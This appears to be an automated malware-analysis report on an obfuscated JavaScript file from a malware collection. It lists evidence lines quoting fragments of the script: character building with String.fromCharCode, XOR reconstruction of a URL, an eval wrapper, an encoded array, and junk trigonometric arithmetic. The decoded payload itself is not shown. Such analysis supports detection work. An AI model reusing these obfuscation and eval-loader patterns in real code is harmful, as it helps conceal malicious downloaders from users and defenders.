Suspicious ^80% javascript-malware-collection Download

20151216_67d02abbc328c2cb9196232b9601d5e8.js

Obfuscated eval, XOR C2, junk arithmetic

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-256f37c02e1509469a4a4255810bb798b92a9560ab8dacba4040506ddfd29ab3a98

Evidence

Builds characters with String.fromCharCode line 2

2:162… '8','W','l','W','6','^','n','I','O','*','C','r','a','l','b','A',String.fromCharCode(10),'`','2','*','?','U',']','K','c','N','D','(','J','k',String.fromCharCode(13),'(',']','d','5','[','k','b','*','*','d',')',')' …

XOR URL reconstruction call line 2

2:1850… '+','{','!','Y','/','3','L','Z','k','M','[','<','`','B','+',' ',String.fromCharCode(92),'G','K','1','N',']','w','n','2','Z','P','j','^','-','M','+','3','J','_','`','*','B','t','g','a','[','M','7','!','R','b','r','`','Z','c','I','P','v','D','d','n','M','m','"','F …

Calls JavaScript toString conversion method lines 4–7

4:44… gscFlh){Kqeb=BrJxpgJkLsgQmOofq(CdKfucCYSUK,EtzXMfNyedvWe);wwVuk=Kqeb.toString(QRgscFlh);return wwVuk;}
5function bSFQqVNNXCCKcIs(XMAmvdXqQHvmzteyQ,DWgvypmUltXxwneVfHtjqXsrPcTxitnVAH,qLzJlcGgAXQjnlRzjqmCrSWtyeLeBkPkaPA){eval(XMAmvdXqQHvmzteyQ);}
6function KRZSPkaUvFusKSKLDDDDgwbeDnaoXypqsCtDxJeqZjVXkjCMqZYFVp(FgndNujTTeVpl,cTlHleNZaGGSLo){ return AIebVXI[QmOrdwKF[Dvpch(FgndNujTTeVpl[cTlHleNZaGGSLo],(20875+265)/755,(825+665)/149)]];}
7function bNsVYPI(leUzfcWMgEANeAkFCusJlIOPoyaAhepuNDBG) {return !wHvsIgCcFyq(NGGJsyVeBBzuYRb(leUzfcWMgEANeAkFCusJlIOPo …

Dense indexed short-token grid lines 12–13

12:33… PleqtDg,HBXRCRojZoI) {GlCzRpFDACNYpH[IxtCMTPleqtDg]=HBXRCRojZoI;}
13var K = new Array();K[0]=[];K[0][0]='d';K[0][1]='a';K[0][2]='d';K[0][3]='a';K[0][4]='46';K[0][5]='3d';K[0][6]='42';K[0][7]='14';K[0][8]='46';K[0][9]='14';K[0][10]='25';K[0][11]='14';K[0][12]='16';K[0][13]='47';K[0][14]='3k';K[0][15]='3d';K[0][16]='44';K[0][17]='3g';K[0][18]='3l';K[0][19]='3g';K[0][20]='49';K[0][21]='3 …

Numeric sine-square obfuscation expression lines 19–22

19:30… ],K[4],K[5]];
20var JEwbdKXMt=[];
21function GqzrMOHjVMTPJEaRo(AJtVa){KAFiPgAboia= '';cctqTuRTUBg=Math.round((Math.pow(Math.sin(868), 2) + Math.pow(Math.cos(868), 2) - 1));while(true){if (cctqTuRTUBg >= (3238+770)/668){break;}JEwbdKXMt[cctqTuRTUBg]=Math.round((Math.pow(Math.sin(999), 2) + Math.pow(Math.cos(999), 2) - 1)); while(true) { if(JEwbdKXMt[cctqTuRTUBg] > AJtVa[cctqTuRTUBg].length-(145+84)/229) { break; } if (bNsVYPI(Dvpch(AJtVa[cctqTuRTUBg][JEwbdKXMt[cctqTuRTUBg]],(9086+70)/327,(7541+599)/814))) {KAFiPgAboia += KRZSPkaUvFusKSKLDDDDgwbeDnaoXypqsCtDxJeqZjVXkjCMqZYFVp([AJtVa[cctqTuRTUBg][JEwbdKXMt[cctqTuRTUBg]]], Math.round((Math.pow(Math.sin(315), 2) + Math.pow(Math.cos(315), 2) - 1)));} JEwbdKXMt[cctqTuRTUBg]++;}cctqTuRTUBg++;} return KAFiPgAboia}
22var aAoDjvtyubRnDGXJcqdVrrDnzlzVMKKmc = 'dPWaWGVrsAgDkJkQAJKhgmwvLlZQSLUKyxRv';var kbUpTJomOwzMbtrtBFUwipwcEkUrEIrI = 'IBfPNRBBxdJyyWbARyXiaZAyyDnTxItyNCoz';bSFQqVNNXCCKcIs(GqzrMOHjVMTPJEaRo(AJtVa),aAoDjvtyubRnDGXJcqdVrrDnzlzVMKKmc,kbUpTJomOwzMbtrtBFUwipwcEkUrEIrI);